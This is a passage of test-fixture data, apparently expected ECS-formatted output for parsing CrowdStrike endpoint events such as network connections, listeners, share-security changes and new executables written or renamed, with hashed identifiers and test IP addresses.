cNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "3daf1fabea580837c4adcda08036d084", - "os": { - "type": "windows" - } - }, - "message": "NetShareSecurityModify", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "3daf1fabea580837c4adcda08036d084", - "version": "2c8b.4.a5bcbac.e6" - }, - "process": { - "entity_id": "409640218507", - "thread": { - "id": 28260411703000 - } - }, - "related": { - "hash": [ - "8602068629" - ], - "ip": [ - "216.160.83.56" - ], - "user": [ - "5f112a78ce366" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "5f112a78ce366" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "710307050", - "ConnectionFlags": "0", - "ContextBaseFileName": "b95ddafd92696f0e5a", - "ContextProcessId": "6550917119400", - "ContextTimeStamp": "2025-11-02T07:06:02.385Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "56", - "EventOrigin": "1", - "InContext": "0", - "LocalAddressIP4": [ - "81.2.69.142" - ], - "RemoteAddressString": "3b0cf5a207bde73b", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "0fc45c7ed982785c2b6da8717ddcefdcd273", - "name": "13f26050a8e2372ba812" - }, - "destination": { - "address": "89.160.20.128", - "as": { - "number": 29518, - "organization": { - "name": "Bredband2 AB" - } - }, - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": "89.160.20.128", - "port": 600 - }, - "device": { - "id": "fd2a2839c2fb96079cb3c756f823e196" - }, - "event": { - "action": "NetworkConnectIP4", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "0fc45c7ed982785c2b6da8717ddcefdcd273|fd2a2839c2fb96079cb3c756f823e196|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextBaseFileName\":\"b95ddafd92696f0e5a\",\"aip\":\"216.160.83.56\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"0fc45c7ed982785c2b6da8717ddcefdcd273\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"NetworkConnectIP4\",\"ContextTimeStamp\":\"1762067162.385\",\"ConfigStateHash\":\"710307050\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"6550917119400\",\"RemotePort\":\"600\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"LocalPort\":\"60181\",\"Entitlements\":\"56\",\"name\":\"13f26050a8e2372ba812\",\"aid\":\"fd2a2839c2fb96079cb3c756f823e196\",\"RemoteAddressIP4\":\"89.160.20.128\",\"RemoteAddressString\":\"3b0cf5a207bde73b\",\"ConnectionDirection\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "unknown", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "fd2a2839c2fb96079cb3c756f823e196", - "os": { - "type": "windows" - } - }, - "message": "NetworkConnectIP4", - "network": { - "community_id": "1:jLmbBdsIpHaowv+xHoWSBFN5+34=", - "direction": "outbound", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "fd2a2839c2fb96079cb3c756f823e196", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "6550917119400", - "name": "b95ddafd92696f0e5a" - }, - "related": { - "hash": [ - "710307050" - ], - "ip": [ - "216.160.83.56", - "81.2.69.142", - "89.160.20.128" - ] - }, - "source": { - "address": "81.2.69.142", - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.142", - "port": 60181 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "205997984", - "ConnectionFlags": "0", - "ContextBaseFileName": "b971114518c9", - "ContextProcessId": "4093698090473", - "ContextTimeStamp": "2025-05-03T16:40:44.357Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "56", - "EventOrigin": "1", - "InContext": "0", - "LocalAddressIP6": [ - "2a02:cf40::2" - ], - "RemoteAddressString": "2a02:cf40::1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "473484e6b33fdbe4e7274bc98a2365ad9e88", - "name": "f35a9bcaa84e44df3194" - }, - "destination": { - "address": "2a02:cf40::1", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::1", - "port": 600 - }, - "device": { - "id": "bfc5af54b43f2802d6e18297ab82e810" - }, - "event": { - "action": "NetworkConnectIP6", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "473484e6b33fdbe4e7274bc98a2365ad9e88|bfc5af54b43f2802d6e18297ab82e810|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextBaseFileName\":\"b971114518c9\",\"RemoteAddressIP6\":\"2a02:cf40::1\",\"aip\":\"81.2.69.142\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"473484e6b33fdbe4e7274bc98a2365ad9e88\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"NetworkConnectIP6\",\"ContextTimeStamp\":\"1746290444.357\",\"LocalAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"205997984\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"4093698090473\",\"RemotePort\":\"600\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"LocalPort\":\"45200\",\"Entitlements\":\"56\",\"name\":\"f35a9bcaa84e44df3194\",\"aid\":\"bfc5af54b43f2802d6e18297ab82e810\",\"RemoteAddressString\":\"2a02:cf40::1\",\"ConnectionDirection\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "unknown", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "bfc5af54b43f2802d6e18297ab82e810", - "os": { - "type": "windows" - } - }, - "message": "NetworkConnectIP6", - "network": { - "community_id": "1:T8hdyxdSOJDJWCfI96fSKxS2cOo=", - "direction": "outbound", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "bfc5af54b43f2802d6e18297ab82e810", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "4093698090473", - "name": "b971114518c9" - }, - "related": { - "hash": [ - "205997984" - ], - "ip": [ - "81.2.69.142", - "2a02:cf40::2", - "2a02:cf40::1" - ] - }, - "source": { - "address": "2a02:cf40::2", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::2", - "port": 45200 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "3440491101", - "ConnectionFlags": "0", - "ContextProcessId": "1373030025759", - "ContextTimeStamp": "2025-11-08T05:19:45.012Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "InContext": "0", - "LocalAddressIP4": [ - "89.160.20.128" - ], - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "414d7d4c948639bd127ede963b8cd7f205d5", - "name": "3e63bd7ad348fcf149d" - }, - "destination": { - "address": "216.160.83.56", - "as": { - "number": 209 - }, - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": "216.160.83.56", - "port": 0 - }, - "device": { - "id": "deb2fe5b3c4891f857b3d5cb68f4d47f" - }, - "event": { - "action": "NetworkListenIP4", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "414d7d4c948639bd127ede963b8cd7f205d5|deb2fe5b3c4891f857b3d5cb68f4d47f|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"LocalAddressIP4\":\"89.160.20.128\",\"event_simpleName\":\"NetworkListenIP4\",\"ContextTimeStamp\":\"1762579185.012\",\"ConfigStateHash\":\"3440491101\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"1373030025759\",\"RemotePort\":\"0\",\"ContextThreadId\":\"351980000701043\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"73001\",\"Entitlements\":\"66\",\"name\":\"3e63bd7ad348fcf149d\",\"EventOrigin\":\"1\",\"id\":\"414d7d4c948639bd127ede963b8cd7f205d5\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"deb2fe5b3c4891f857b3d5cb68f4d47f\",\"RemoteAddressIP4\":\"216.160.83.56\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "deb2fe5b3c4891f857b3d5cb68f4d47f", - "os": { - "type": "windows" - } - }, - "message": "NetworkListenIP4", - "network": { - "direction": "unknown", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "deb2fe5b3c4891f857b3d5cb68f4d47f", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "1373030025759", - "thread": { - "id": 351980000701043 - } - }, - "related": { - "hash": [ - "3440491101" - ], - "ip": [ - "81.2.69.144", - "89.160.20.128", - "216.160.83.56" - ] - }, - "source": { - "address": "89.160.20.128", - "as": { - "number": 29518, - "organization": { - "name": "Bredband2 AB" - } - }, - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": "89.160.20.128", - "port": 73001 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "750096004", - "ConnectionFlags": "0", - "ContextProcessId": "6002550902534", - "ContextTimeStamp": "2025-08-29T07:42:10.351Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "96", - "EventOrigin": "1", - "InContext": "0", - "LocalAddressIP6": [ - "2a02:cf40::1" - ], - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "6571a795f2d49a994f8fc3840f9780f9a9d8", - "name": "32e9d89e356847ad161" - }, - "destination": { - "address": "2a02:cf40::2", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::2", - "port": 0 - }, - "device": { - "id": "fe88182661659af8a192fac5db624574" - }, - "event": { - "action": "NetworkListenIP6", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "6571a795f2d49a994f8fc3840f9780f9a9d8|fe88182661659af8a192fac5db624574|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"NetworkListenIP6\",\"ContextTimeStamp\":\"1756453330.351\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"RemoteAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"750096004\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"6002550902534\",\"RemotePort\":\"0\",\"ContextThreadId\":\"400604050757015\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"1049\",\"Entitlements\":\"96\",\"name\":\"32e9d89e356847ad161\",\"EventOrigin\":\"1\",\"id\":\"6571a795f2d49a994f8fc3840f9780f9a9d8\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"fe88182661659af8a192fac5db624574\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "fe88182661659af8a192fac5db624574", - "os": { - "type": "windows" - } - }, - "message": "NetworkListenIP6", - "network": { - "direction": "unknown", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "fe88182661659af8a192fac5db624574", - "version": "2c8b.4.bab7095.e6" - }, - "process": { - "entity_id": "6002550902534", - "thread": { - "id": 400604050757015 - } - }, - "related": { - "hash": [ - "750096004" - ], - "ip": [ - "216.160.83.56", - "2a02:cf40::1", - "2a02:cf40::2" - ] - }, - "source": { - "address": "2a02:cf40::1", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::1", - "port": 1049 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "710307050", - "ConnectionFlags": "0", - "ContextBaseFileName": "8e8eab0b4bf", - "ContextProcessId": "4700009307800", - "ContextTimeStamp": "2025-06-11T06:00:37.544Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "56", - "EventOrigin": "1", - "InContext": "0", - "LocalAddressIP4": [ - "216.160.83.56" - ], - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "6944305135f71ae54b685de925bc80d24162", - "name": "4ccf568bd7cda1587d77b69c3f" - }, - "destination": { - "address": "216.160.83.56", - "as": { - "number": 209 - }, - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": "216.160.83.56", - "port": 1049 - }, - "device": { - "id": "359d1a3764bc9914314c10bbe07b0ee5" - }, - "event": { - "action": "NetworkReceiveAcceptIP4", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "6944305135f71ae54b685de925bc80d24162|359d1a3764bc9914314c10bbe07b0ee5|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"LocalAddressIP4\":\"216.160.83.56\",\"ContextBaseFileName\":\"8e8eab0b4bf\",\"event_simpleName\":\"NetworkReceiveAcceptIP4\",\"ContextTimeStamp\":\"1749621637.544\",\"ConfigStateHash\":\"710307050\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"4700009307800\",\"RemotePort\":\"60702\",\"aip\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"1049\",\"Entitlements\":\"56\",\"name\":\"4ccf568bd7cda1587d77b69c3f\",\"EventOrigin\":\"1\",\"id\":\"6944305135f71ae54b685de925bc80d24162\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"359d1a3764bc9914314c10bbe07b0ee5\",\"RemoteAddressIP4\":\"89.160.20.128\",\"ConnectionDirection\":\"1\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "unknown", - "type": [ - "allowed", - "access", - "connection" - ] - }, - "host": { - "id": "359d1a3764bc9914314c10bbe07b0ee5", - "os": { - "type": "windows" - } - }, - "message": "NetworkReceiveAcceptIP4", - "network": { - "community_id": "1:Mc7n12oHGHKtseOxhknfoHljEMo=", - "direction": "inbound", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "359d1a3764bc9914314c10bbe07b0ee5", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "4700009307800", - "name": "8e8eab0b4bf" - }, - "related": { - "hash": [ - "710307050" - ], - "ip": [ - "89.160.20.112", - "216.160.83.56", - "89.160.20.128" - ] - }, - "source": { - "address": "89.160.20.128", - "as": { - "number": 29518, - "organization": { - "name": "Bredband2 AB" - } - }, - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": "89.160.20.128", - "port": 60702 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "710307050", - "ConnectionFlags": "0", - "ContextBaseFileName": "8e8eab0b4bf", - "ContextProcessId": "2000180444147", - "ContextTimeStamp": "2025-05-19T03:44:05.373Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "36", - "EventOrigin": "1", - "InContext": "0", - "LocalAddressIP6": [ - "2a02:cf40::1" - ], - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "2de192320bb03a0e9990059a2895376d0213", - "name": "0f701c259d2d9d9e15dbcf1339" - }, - "destination": { - "address": "2a02:cf40::1", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::1", - "port": 7340 - }, - "device": { - "id": "15d126c11ad8c113dec6e819ca553cf7" - }, - "event": { - "action": "NetworkReceiveAcceptIP6", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "2de192320bb03a0e9990059a2895376d0213|15d126c11ad8c113dec6e819ca553cf7|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextBaseFileName\":\"8e8eab0b4bf\",\"event_simpleName\":\"NetworkReceiveAcceptIP6\",\"ContextTimeStamp\":\"1747626245.373\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"RemoteAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"710307050\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"2000180444147\",\"RemotePort\":\"8340\",\"aip\":\"89.160.20.128\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"7340\",\"Entitlements\":\"36\",\"name\":\"0f701c259d2d9d9e15dbcf1339\",\"EventOrigin\":\"1\",\"id\":\"2de192320bb03a0e9990059a2895376d0213\",\"Protocol\":\"45\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"15d126c11ad8c113dec6e819ca553cf7\",\"ConnectionDirection\":\"1\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "unknown", - "type": [ - "allowed", - "access", - "connection" - ] - }, - "host": { - "id": "15d126c11ad8c113dec6e819ca553cf7", - "os": { - "type": "windows" - } - }, - "message": "NetworkReceiveAcceptIP6", - "network": { - "community_id": "1:j3KVYY0e4cSBtQRhz1UzjE8yUk0=", - "direction": "inbound", - "iana_number": "45" - }, - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "15d126c11ad8c113dec6e819ca553cf7", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "2000180444147", - "name": "8e8eab0b4bf" - }, - "related": { - "hash": [ - "710307050" - ], - "ip": [ - "89.160.20.128", - "2a02:cf40::1", - "2a02:cf40::2" - ] - }, - "source": { - "address": "2a02:cf40::2", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::2", - "port": 8340 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "710307050", - "ContextProcessId": "6670000954191", - "ContextTimeStamp": "2025-09-21T23:09:24.011Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "FileObject": "0", - "IrpFlags": "100651", - "MajorFunction": "6", - "MinorFunction": "0", - "NewFileIdentifier": "1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330", - "OperationFlags": "0", - "TargetFileName": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "3576a8f1eee99ef99a90b644fac69ef96052", - "name": "b64d07a4710e4a075cd1f1" - }, - "device": { - "id": "39074f37291ca6f2d189c1e110e04dfc" - }, - "event": { - "action": "NewExecutableRenamed", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "3576a8f1eee99ef99a90b644fac69ef96052|39074f37291ca6f2d189c1e110e04dfc|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextThreadId\":\"703603693040462\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.192\",\"FileIdentifier\":\"990200511957122000670029061067970349454003500200\",\"event_platform\":\"Win\",\"NewFileIdentifier\":\"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330\",\"EventOrigin\":\"1\",\"id\":\"3576a8f1eee99ef99a90b644fac69ef96052\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"NewExecutableRenamed\",\"ContextTimeStamp\":\"1758496164.011\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"6670000954191\",\"SourceFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\b169fe25\\\\d5fdc1af\\\\b62491c6\",\"IrpFlags\":\"100651\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"MajorFunction\":\"6\",\"Entitlements\":\"66\",\"name\":\"b64d07a4710e4a075cd1f1\",\"OperationFlags\":\"0\",\"aid\":\"39074f37291ca6f2d189c1e110e04dfc\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\b169fe25\\\\40a20853\\\\b19eb57e.exe\\\\b62491c6\\\\6ffbd0fe.exe\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "file": { - "Ext": { - "original": { - "name": "b62491c6", - "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\d5fdc1af\\b62491c6" - } - }, - "directory": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6", - "extension": "exe", - "inode": "990200511957122000670029061067970349454003500200", - "name": "6ffbd0fe.exe", - "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe", - "type": "file" - }, - "host": { - "id": "39074f37291ca6f2d189c1e110e04dfc", - "os": { - "type": "windows" - } - }, - "message": "NewExecutableRenamed", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "39074f37291ca6f2d189c1e110e04dfc", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "6670000954191", - "thread": { - "id": 703603693040462 - } - }, - "related": { - "hash": [ - "710307050" - ], - "ip": [ - "81.2.69.192" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "9080600092", - "ContextBaseFileName": "7592a3326e8f", - "ContextImageFileName": "\\6ba0bd\\447b992c\\d598026\\1c467339.exe", - "ContextProcessId": "6609070495594", - "ContextTimeStamp": "2025-05-17T15:48:03.062Z", - "DesiredAccess": "4250080", - "EffectiveTransmissionClass": "3", - "Entitlements": "76", - "EventOrigin": "1", - "FileAttributes": "0", - "FileEcpBitmask": "0", - "FileObject": "0", - "Information": "2", - "IrpFlags": "2500", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "Options": "50000230", - "ShareAccess": "3", - "Status": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "159069fcc959600bb67b1d499fbba75e246f", - "name": "df0d670fd6fc4521a6c960" - }, - "device": { - "id": "e4a077554af537da06f56e39976d4420" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "159069fcc959600bb67b1d499fbba75e246f|e4a077554af537da06f56e39976d4420|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextBaseFileName\":\"7592a3326e8f\",\"Options\":\"50000230\",\"ContextThreadId\":\"290000250300138\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"Information\":\"2\",\"FileIdentifier\":\"069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c\",\"event_platform\":\"Win\",\"ShareAccess\":\"3\",\"EventOrigin\":\"1\",\"id\":\"159069fcc959600bb67b1d499fbba75e246f\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"NewExecutableWritten\",\"ContextTimeStamp\":\"1747496883.062\",\"ConfigStateHash\":\"9080600092\",\"ContextProcessId\":\"6609070495594\",\"IrpFlags\":\"2500\",\"ContextImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\1c467339.exe\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"4250080\",\"Entitlements\":\"76\",\"name\":\"df0d670fd6fc4521a6c960\",\"OperationFlags\":\"0\",\"aid\":\"e4a077554af537da06f56e39976d4420\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\08cfe5\\\\0f51ad6\\\\813ded8\\\\c7bac469\\\\d598026\\\\690dbe\\\\2e00f238.lnk\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe", - "extension": "lnk", - "inode": "069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c", - "name": "2e00f238.lnk", - "path": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\2e00f238.lnk", - "type": "file" - }, - "host": { - "id": "e4a077554af537da06f56e39976d4420", - "os": { - "type": "windows" - } - }, - "message": "NewExecutableWritten", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "e4a077554af537da06f56e39976d4420", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - 